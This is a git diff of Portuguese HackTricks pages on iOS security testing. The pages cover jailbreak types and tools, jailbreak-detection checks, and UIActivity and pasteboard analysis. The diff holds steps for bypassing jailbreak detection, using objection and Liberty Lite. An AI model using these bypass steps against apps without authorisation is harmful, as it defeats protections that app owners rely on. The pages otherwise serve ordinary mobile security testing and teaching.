As atualizações do iOS são baseadas em um processo de desafio-resposta (gerando os chamados blobs SHSH como resultado). O dispositivo permitirá a instalação do sistema operacional apenas se a resposta ao desafio for assinada pela Apple. Isso é o que os pesquisadores chamam de "janela de assinatura", e é a razão **pela qual você não pode simplesmente armazenar o pacote de firmware OTA que baixou e carregá-lo no dispositivo sempre que quiser**. Durante pequenas atualizações do iOS, duas versões podem ser assinadas pela Apple (a mais recente e a versão anterior do iOS). Esta é a única situação em que você pode fazer downgrade do dispositivo iOS. Você pode **verificar a janela de assinatura atual e baixar o firmware OTA do site** [**IPSW Downloads**](https://ipsw.me).
|
||||
### Ferramentas e Recursos de Jailbreaking
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Atualizar o sistema operacional remove o efeito do jailbreaking.**
|
||||
{% endhint %}
|
||||
As ferramentas de jailbreaking variam de acordo com a versão do iOS e o dispositivo. Recursos como [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) e [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) fornecem informações atualizadas. Exemplos incluem:
|
||||
|
||||
### Tipos de Jailbreak
|
||||
- [Checkra1n](https://checkra.in/) para dispositivos com chip A7-A11.
|
||||
- [Palera1n](https://palera.in/) para dispositivos Checkm8 (A8-A11) no iOS 15.0-16.5.
|
||||
- [Unc0ver](https://unc0ver.dev/) para versões do iOS até 14.8.
|
||||
|
||||
* **Jailbreaks tethered** não persistem após reinicializações, então reaplicar o jailbreak requer que o dispositivo esteja conectado (tethered) a um computador durante cada reinicialização. O dispositivo pode nem reiniciar se o computador não estiver conectado.
|
||||
* **Jailbreaks semi-tethered** não podem ser reaplicados a menos que o dispositivo esteja conectado a um computador durante a reinicialização. O dispositivo também pode iniciar em modo não jailbroken por conta própria.
|
||||
* **Jailbreaks semi-untethered** permitem que o dispositivo inicie por conta própria, mas os patches do kernel (ou modificações no espaço do usuário) para desativar a assinatura de código não são aplicados automaticamente. O usuário deve fazer jailbreak novamente no dispositivo iniciando um aplicativo ou visitando um site (não requerendo conexão com um computador, daí o termo untethered).
|
||||
* **Jailbreaks untethered** são a escolha mais popular para os usuários finais porque precisam ser aplicados apenas uma vez, após o qual o dispositivo permanecerá permanentemente com jailbreak.
|
||||
Modificar seu dispositivo apresenta riscos, e o jailbreaking deve ser abordado com cautela.
|
||||
|
||||
### Ferramentas de Jailbreaking
|
||||
### Benefícios e Riscos do Jailbreaking
|
||||
|
||||
Versões diferentes do iOS requerem **técnicas diferentes de jailbreaking**. [Determine se um jailbreak público está disponível para a sua versão do iOS](https://canijailbreak.com). Cuidado com ferramentas falsas e spyware, que muitas vezes se escondem atrás de nomes de domínio semelhantes ao nome do grupo/autor do jailbreak.
|
||||
|
||||
Exemplos de versões:
|
||||
|
||||
* [Checkra1n](https://checkra.in/): Funciona em dispositivos com o chip A7 e tão novos quanto o chip A11, por exemplo, iPhone 5S até iPhone X.
|
||||
* [Palera1n](https://palera.in/): Dispositivos Checkm8 (A8-A11) no iOS 15.0-16.5.
|
||||
* [Unc0ver](https://checkra.in/): Funciona apenas para versões do iOS até 14.8, já que a Apple corrigiu os problemas que permitiam a execução do Unc0ver.
|
||||
|
||||
A cena do jailbreak do iOS evolui tão rapidamente que fornecer instruções atualizadas é difícil. No entanto, podemos indicar algumas fontes que atualmente são confiáveis:
|
||||
|
||||
* [**Can I Jailbreak?**](https://canijailbreak.com)
|
||||
* [**The iPhone Wiki**](https://www.theiphonewiki.com)
|
||||
* [**Redmond Pie**](https://www.redmondpie.com)
|
||||
* [**Reddit Jailbreak**](https://www.reddit.com/r/jailbreak/)
|
||||
* [**https://checkra.in/**](https://checkra.in)
|
||||
|
||||
> Observe que qualquer modificação que você faça em seu dispositivo é por sua própria conta e risco. Embora o jailbreaking seja geralmente seguro, as coisas podem dar errado e você pode acabar brickando seu dispositivo. Nenhuma outra parte, exceto você mesmo, pode ser responsabilizada por qualquer dano.
|
||||
|
||||
### Benefícios
|
||||
|
||||
O efeito colateral mais importante do Jailbreaking é que ele **remove qualquer sandboxing imposto pelo sistema operacional**. Portanto, qualquer **aplicativo no dispositivo pode ler qualquer arquivo** no sistema de arquivos, incluindo arquivos de outros aplicativos, cookies e keychain.
|
||||
|
||||
Um dispositivo com jailbreak permite que os usuários **instalem aplicativos não aprovados** e utilizem **mais APIs**, que de outra forma não seriam acessíveis.
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Não é recomendado fazer jailbreak no celular para usuários regulares**
|
||||
{% endhint %}
|
||||
O jailbreaking **remove o isolamento imposto pelo sistema operacional**, permitindo que os aplicativos acessem todo o sistema de arquivos. Essa liberdade possibilita a instalação de aplicativos não aprovados e o acesso a mais APIs. No entanto, para usuários comuns, o jailbreaking **não é recomendado** devido aos possíveis riscos de segurança e instabilidade do dispositivo.
|
||||
|
||||
### **Após o Jailbreaking**
|
||||
|
||||
|
@ -143,33 +114,22 @@ Um dispositivo com jailbreak permite que os usuários **instalem aplicativos nã
|
|||
|
||||
### **Detecção de Jailbreak**
|
||||
|
||||
**Vários aplicativos tentarão detectar se o celular está com jailbreak e, nesse caso, o aplicativo não funcionará**
|
||||
**Várias aplicações tentarão detectar se o dispositivo móvel está jailbroken e, nesse caso, o aplicativo não será executado**
|
||||
|
||||
* Após o jailbreaking, **arquivos e pastas são geralmente instalados**, estes podem ser pesquisados para determinar se o dispositivo está com jailbreak.
|
||||
* Em um dispositivo com jailbreak, os aplicativos obtêm **acesso de leitura/escrita a novos arquivos** fora da sandbox
|
||||
* Algumas **chamadas de API** se **comportarão de maneira diferente**
|
||||
* Após o jailbreaking de um iOS, **arquivos e pastas geralmente são instalados**, os quais podem ser pesquisados para determinar se o dispositivo está jailbroken.
|
||||
* Em um dispositivo jailbroken, os aplicativos obtêm **acesso de leitura/escrita a novos arquivos** fora do sandbox
|
||||
* Algumas **chamadas de API** se comportarão de forma **diferente**
|
||||
* A presença do serviço **OpenSSH**
|
||||
* Chamar `/bin/sh` **retornará 1** em vez de 0
|
||||
* Chamar `/bin/sh` irá **retornar 1** em vez de 0
|
||||
|
||||
**Mais informações sobre como detectar jailbreaking** [**aqui**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
|
||||
|
||||
Você pode tentar evitar essas detecções usando o `ios jailbreak disable` do **objection**
|
||||
Você pode tentar evitar essas detecções usando `ios jailbreak disable` do **objection**
|
||||
|
||||
## **Bypass de Detecção de Jailbreak**
|
||||
## **Burla de Detecção de Jailbreak**
|
||||
|
||||
* Você pode tentar evitar essas detecções usando o `ios jailbreak disable` do **objection**
|
||||
* Você também pode instalar a ferramenta **Liberty Lite** (https://ryleyangus.com/repo/). Uma vez adicionado o repositório, o aplicativo deve aparecer na aba ‘Search’
|
||||
* Você pode tentar evitar essas detecções usando `ios jailbreak disable` do **objection**
|
||||
* Você também pode instalar a ferramenta **Liberty Lite** (https://ryleyangus.com/repo/). Uma vez que o repositório é adicionado, o aplicativo deve aparecer na aba ‘Busca’
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
## Referências
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
|
|
|
@ -1,95 +1,78 @@
|
|||
# Compartilhamento de UIActivity iOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
# Compartilhamento de UIActivity Simplificado
|
||||
|
||||
# Compartilhamento UIActivity
|
||||
A partir do iOS 6, aplicativos de terceiros foram habilitados para **compartilhar dados** como texto, URLs ou imagens usando mecanismos como AirDrop, conforme descrito no [guia de Comunicação entre Apps da Apple](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Essa funcionalidade se manifesta por meio de uma _folha de atividades de compartilhamento_ em todo o sistema que aparece ao interagir com o botão "Compartilhar".
|
||||
|
||||
A partir do iOS 6, é possível para aplicativos de terceiros **compartilhar dados (itens)** através de mecanismos específicos [como o AirDrop, por exemplo](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Do ponto de vista do usuário, essa funcionalidade é a conhecida _folha de atividade de compartilhamento_ do sistema que aparece após clicar no botão "Compartilhar".
|
||||
Uma enumeração abrangente de todas as opções de compartilhamento integradas está disponível em [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Os desenvolvedores podem optar por excluir opções de compartilhamento específicas se as considerarem inadequadas para seu aplicativo.
|
||||
|
||||
Uma lista completa dos mecanismos de compartilhamento integrados disponíveis pode ser encontrada em [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Se não considerados apropriados para o aplicativo, os **desenvolvedores têm a possibilidade de excluir alguns desses mecanismos de compartilhamento**.
|
||||
## **Como Compartilhar Dados**
|
||||
|
||||
## **Enviando Itens**
|
||||
A atenção deve ser direcionada para:
|
||||
|
||||
Ao testar o Compartilhamento `UIActivity`, você deve prestar atenção especial a:
|
||||
- A natureza dos dados compartilhados.
|
||||
- A inclusão de atividades personalizadas.
|
||||
- A exclusão de certos tipos de atividades.
|
||||
|
||||
* os dados (itens) sendo compartilhados,
|
||||
* as atividades personalizadas,
|
||||
* os tipos de atividade excluídos.
|
||||
|
||||
O compartilhamento de dados via `UIActivity` funciona criando um `UIActivityViewController` e passando a ele os itens desejados (URLs, texto, uma imagem) em [`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init).
|
||||
|
||||
Se tiver o código-fonte, você deve examinar o `UIActivityViewController`:
|
||||
|
||||
* Inspecione as atividades passadas para o método `init(activityItems:applicationActivities:)`.
|
||||
* Verifique se ele define atividades personalizadas (também sendo passadas para o método anterior).
|
||||
* Verifique os `excludedActivityTypes`, se houver.
|
||||
|
||||
Se você só tem o aplicativo compilado/instalado, tente procurar pelo método e propriedade anteriores, por exemplo:
|
||||
O compartilhamento é facilitado por meio da instanciação de um `UIActivityViewController`, para o qual os itens destinados ao compartilhamento são passados. Isso é alcançado chamando:
|
||||
```bash
|
||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||
```
|
||||
## **Recebendo Itens**
|
||||
Desenvolvedores devem examinar o `UIActivityViewController` para as atividades e atividades personalizadas com as quais ele é inicializado, bem como quaisquer `excludedActivityTypes` especificados.
|
||||
|
||||
Ao receber itens, você deve verificar:
|
||||
## **Como Receber Dados**
|
||||
|
||||
* se o aplicativo **declara** _**tipos de documentos personalizados**_ ao olhar para **Exported/Imported UTIs** (aba "Info" do projeto Xcode). A lista de todos os UTIs declarados pelo sistema (Uniform Type Identifiers) pode ser encontrada na [documentação arquivada da Apple Developer](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple_ref/doc/uid/TP40009259).
|
||||
* se o aplicativo especifica quaisquer _**tipos de documentos que ele pode abrir**_ ao olhar para **Document Types** (aba "Info" do projeto Xcode). Se presentes, eles consistem em um nome e um ou mais UTIs que representam o tipo de dado (por exemplo, "public.png" para arquivos PNG). O iOS usa isso para determinar se o aplicativo é elegível para abrir um determinado documento (especificar Exported/Imported UTIs não é suficiente).
|
||||
* se o aplicativo verifica adequadamente os _**dados recebidos**_ ao olhar para a implementação de [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) (ou sua versão obsoleta [`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc)) no app delegate.
|
||||
Os seguintes aspectos são cruciais ao receber dados:
|
||||
|
||||
Se não tiver o código-fonte, você ainda pode olhar para o arquivo `Info.plist` e procurar por:
|
||||
- A declaração de **tipos de documento personalizados**.
|
||||
- A especificação dos **tipos de documento que o aplicativo pode abrir**.
|
||||
- A verificação da **integridade dos dados recebidos**.
|
||||
|
||||
* `UTExportedTypeDeclarations`/`UTImportedTypeDeclarations` se o aplicativo declara _tipos de documentos personalizados_ exportados/importados.
|
||||
* `CFBundleDocumentTypes` para ver se o aplicativo especifica quaisquer _tipos de documentos que ele pode abrir_.
|
||||
Sem acesso ao código-fonte, ainda é possível inspecionar o `Info.plist` em busca de chaves como `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` e `CFBundleDocumentTypes` para entender os tipos de documentos que um aplicativo pode manipular e declarar.
|
||||
|
||||
Uma explicação muito completa sobre o uso dessas chaves pode ser encontrada [no Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), mas aqui está um resumo:
|
||||
Um guia sucinto sobre essas chaves está disponível no [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), destacando a importância de definir e importar UTIs para reconhecimento em todo o sistema e associar tipos de documentos ao seu aplicativo para integração na caixa de diálogo "Abrir com".
|
||||
|
||||
* `UTExportedTypeDeclarations`: Use-os para definir **seus próprios UTIs** que seu aplicativo deseja ensinar ao sistema onde está instalado. Um **UTI descreve um pedaço de dado** (_não necessariamente dados localizados dentro de um arquivo!_) e requer pelo menos um **identificador** (`com.example.MyCoolDataType`). Adicionalmente, pode ter um **nome** (`My Cool Data Type`), uma ou mais extensões de nome de **arquivo** (`.myCoolDataType`), um ou mais **tipos MIME** (`x-application/my-cool-data-type`), um ou mais **tipos de prancheta** (usados ao transferir dados desse tipo usando copiar\&colar), e um ou mais **tipos de sistema operacional legado**. Geralmente, você também quer que os UTIs estejam em conformidade com UTIs existentes (por exemplo, quando você diz que seu UTI está em conformidade com `public.data`, qualquer processo que possa lidar com dados genéricos também pode lidar com seu UTI).
|
||||
* Exemplo: Você define seu próprio formato de dados de arquivo proprietário e deseja que esse formato de dados também seja conhecido por outros aplicativos, plugins, extensões e assim por diante.
|
||||
* `UTImportedTypeDeclarations`: Você usa `UTImportedTypeDeclarations` para **ensinar o sistema sobre UTIs que você quer que sejam conhecidos no sistema, mas que não são seus UTIs**.
|
||||
* Exemplo: Seu aplicativo é capaz de ler o formato de dados proprietário de outro aplicativo, mas você não sabe se esse aplicativo está instalado no sistema.
|
||||
* `CFBundleDocumentTypes`: Você usa `CFBundleDocumentTypes` para informar ao sistema quais tipos de documentos seu aplicativo é capaz de abrir. A menos que você **também liste seus UTIs aqui**, esses UTIs não são associados ao seu aplicativo no Finder e seu aplicativo não aparecerá no menu `Abrir Com >`. \
|
||||
A única coisa que você sempre deve definir para um tipo de documento é o papel. O **papel** pode ser "**Visualizador**" (você pode exibir esse tipo de arquivo, mas não pode editá-lo), "**Editor**" (você pode exibir e editar esse tipo de arquivo), "**Nenhum**" (não está especificado o que você pode fazer com esse arquivo).
|
||||
* Exemplo: Você quer que seu **aplicativo seja associado a certos tipos de arquivos**, identificados por extensão, tipo MIME ou identificador UTI. **Se você quer que seu aplicativo seja associado a um tipo de UTI, o aplicativo deve importar ou exportar o tipo**, caso contrário, o tipo pode não ser conhecido pelo sistema e registrar um tipo de UTI desconhecido simplesmente não tem efeito algum.
|
||||
## Abordagem de Teste Dinâmico
|
||||
|
||||
## Teste Dinâmico
|
||||
Para testar **atividades de envio**, pode-se:
|
||||
|
||||
Para **atividades de envio**, você pode:
|
||||
- Conectar-se ao método `init(activityItems:applicationActivities:)` para capturar os itens e atividades sendo compartilhados.
|
||||
- Identificar atividades excluídas interceptando a propriedade `excludedActivityTypes`.
|
||||
|
||||
* Intercepte o método que vimos na análise estática ([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)) para obter os `activityItems` e `applicationActivities`.
|
||||
* Descubra as atividades excluídas interceptando a propriedade [`excludedActivityTypes`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes).
|
||||
Para **receber itens**, envolve:
|
||||
|
||||
Para receber itens, você pode:
|
||||
|
||||
* _Compartilhar_ um arquivo com o aplicativo a partir de outro aplicativo ou enviá-lo via AirDrop ou e-mail. Escolha o arquivo de forma que ele acione o diálogo "Abrir com..." (ou seja, não há um aplicativo padrão que abrirá o arquivo, um PDF, por exemplo).
|
||||
* Intercepte `application:openURL:options:` e quaisquer outros métodos que foram identificados em uma análise estática anterior.
|
||||
* Observe o comportamento do aplicativo.
|
||||
* Além disso, você poderia enviar arquivos específicos malformados e/ou usar uma técnica de fuzzing.
|
||||
|
||||
**Leia como** [**aqui**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**.**
|
||||
- Compartilhar um arquivo com o aplicativo de outra fonte (por exemplo, AirDrop, e-mail) que solicita a caixa de diálogo "Abrir com...".
|
||||
- Conectar `application:openURL:options:` entre outros métodos identificados durante a análise estática para observar a resposta do aplicativo.
|
||||
- Utilizar arquivos malformados ou técnicas de fuzzing para avaliar a robustez do aplicativo.
|
||||
|
||||
## Referências
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,68 +1,51 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
O compartilhamento de dados dentro e entre aplicativos em dispositivos iOS é facilitado pelo mecanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), que é dividido em duas categorias principais:
|
||||
|
||||
O [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) possibilita o compartilhamento de dados dentro de um aplicativo e de um aplicativo para outros aplicativos. Existem dois tipos de pasteboards:
|
||||
- **Pasteboard geral em todo o sistema**: Isso é usado para compartilhar dados com **qualquer aplicativo** e é projetado para persistir dados através de reinicializações do dispositivo e desinstalações de aplicativos, um recurso disponível desde o iOS 10.
|
||||
- **Pasteboards personalizados/nomeados**: Estes são especificamente para compartilhamento de dados **dentro de um aplicativo ou com outro aplicativo** que compartilha o mesmo ID de equipe, e não são projetados para persistir além da vida do processo do aplicativo que os cria, seguindo as alterações introduzidas no iOS 10.
|
||||
|
||||
* **pasteboard geral do sistema**: para compartilhar dados com **qualquer aplicativo**. Persistente por padrão após reinicializações do dispositivo e desinstalações de aplicativos (desde o iOS 10).
|
||||
* **pasteboards personalizados / nomeados**: para compartilhar dados **com outro aplicativo** (que tenha o mesmo ID de equipe do aplicativo de origem) ou com o **próprio aplicativo** (eles estão disponíveis apenas no processo que os cria). Não persistentes por padrão (desde o iOS 10), ou seja, existem apenas até que o aplicativo proprietário (criador) seja fechado.
|
||||
As **considerações de segurança** desempenham um papel significativo ao utilizar os pasteboards. Por exemplo:
|
||||
- Não há mecanismo para os usuários gerenciarem as permissões do aplicativo para acessar o **pasteboard**.
|
||||
- Para mitigar o risco de monitoramento não autorizado em segundo plano do pasteboard, o acesso é restrito quando o aplicativo está em primeiro plano (desde o iOS 9).
|
||||
- O uso de pasteboards nomeados persistentes é desencorajado em favor de contêineres compartilhados devido a preocupações com a privacidade.
|
||||
- O recurso **Universal Clipboard** introduzido com o iOS 10, permitindo o compartilhamento de conteúdo entre dispositivos via pasteboard geral, pode ser gerenciado pelos desenvolvedores para definir a expiração dos dados e desativar a transferência automática de conteúdo.
|
||||
|
||||
Algumas considerações de segurança:
|
||||
Garantir que **informações sensíveis não sejam armazenadas inadvertidamente** no pasteboard global é crucial. Além disso, os aplicativos devem ser projetados para evitar o uso indevido de dados do pasteboard global para ações não intencionais, e os desenvolvedores são incentivados a implementar medidas para evitar a cópia de informações sensíveis para a área de transferência.
|
||||
|
||||
* Usuários **não podem conceder ou negar permissão** para aplicativos lerem o **pasteboard**.
|
||||
* Desde o iOS 9, aplicativos [não podem acessar o pasteboard enquanto estão em segundo plano](https://forums.developer.apple.com/thread/13760), isso mitiga o monitoramento do pasteboard em segundo plano.
|
||||
* [A Apple alerta sobre pasteboards nomeados persistentes](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc) e **desencoraja seu uso**. Em vez disso, contêineres compartilhados devem ser usados.
|
||||
* A partir do iOS 10, há um novo recurso de Handoff chamado **Universal Clipboard** que é ativado por padrão. Ele permite que o **conteúdo do pasteboard geral seja automaticamente transferido entre dispositivos**. Este recurso pode ser desativado se o desenvolvedor assim escolher e também é possível definir um tempo e data de expiração para os dados copiados.
|
||||
### Análise Estática
|
||||
|
||||
Portanto, é importante **verificar se informações sensíveis não estão sendo salvas dentro do pasteboard global**.\
|
||||
Também é importante verificar se um **aplicativo não está usando os dados do pasteboard global para realizar ações**, pois um aplicativo malicioso poderia adulterar esses dados.
|
||||
Para análise estática, pesquise o código-fonte ou binário por:
|
||||
- `generalPasteboard` para identificar o uso do **pasteboard geral em todo o sistema**.
|
||||
- `pasteboardWithName:create:` e `pasteboardWithUniqueName` para criar **pasteboards personalizados**. Verifique se a persistência está ativada, embora isso seja obsoleto.
|
||||
|
||||
Um **aplicativo também pode impedir que seus usuários copiem dados sensíveis para a área de transferência** (o que é recomendado).
|
||||
### Análise Dinâmica
|
||||
|
||||
## Análise Estática
|
||||
A análise dinâmica envolve o hooking ou rastreamento de métodos específicos:
|
||||
- Monitore `generalPasteboard` para uso em todo o sistema.
|
||||
- Rastreie `pasteboardWithName:create:` e `pasteboardWithUniqueName` para implementações personalizadas.
|
||||
- Observe chamadas de método `setPersistent:` obsoletas para verificar as configurações de persistência.
|
